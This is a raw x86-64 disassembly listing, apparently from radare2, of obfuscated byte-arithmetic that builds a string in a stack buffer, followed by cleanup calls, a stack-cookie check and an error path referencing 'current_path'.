lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004daf8
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x30]
jmp 0x14004db6a
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x14004db6a
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004db38
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14004d243
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 8
add r9b, r10b
mov byte [rbp + r11 - 0x20], r9b
inc r8
dec r11
inc r11
jmp 0x14004d243
movzx r9d, r11b
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x78
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x20], cl
jmp 0x14004db35
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004d243
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 8
movzx r9d, r11b
sub r9b, 0x28
movzx eax, r10b
and al, r9b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x20], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 - 0x20], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004d243
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x28
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004d243
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004d240
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x14004d226
lea rdx, [rbp + 0x14e8740]
jmp 0x14004dc52
lea rdx, [rbp + 0xb8a8c8]
jmp 0x14004dc52
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x1e8]
call fcn.140043f70
nop
lea rcx, [rbp + 0x228]
call fcn.140045b50
lea rcx, [rbp + 0x208]
call fcn.140045b50
lea rcx, [rbp + 0x1e8]
call fcn.140045b50
nop
lea rcx, [rbp + 0x1e8]
call fcn.140044af0
nop
lea rcx, [rbp + 0x208]
call fcn.140044af0
nop
lea rcx, [rbp + 0x228]
call fcn.140044af0
mov rcx, qword [rbp + 0x248]
xor rcx, rsp
call fcn.14013cd40
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0x108]
mov edx, eax
lea rcx, str.current_path_const_path_
call fcn.14004f9f0
int3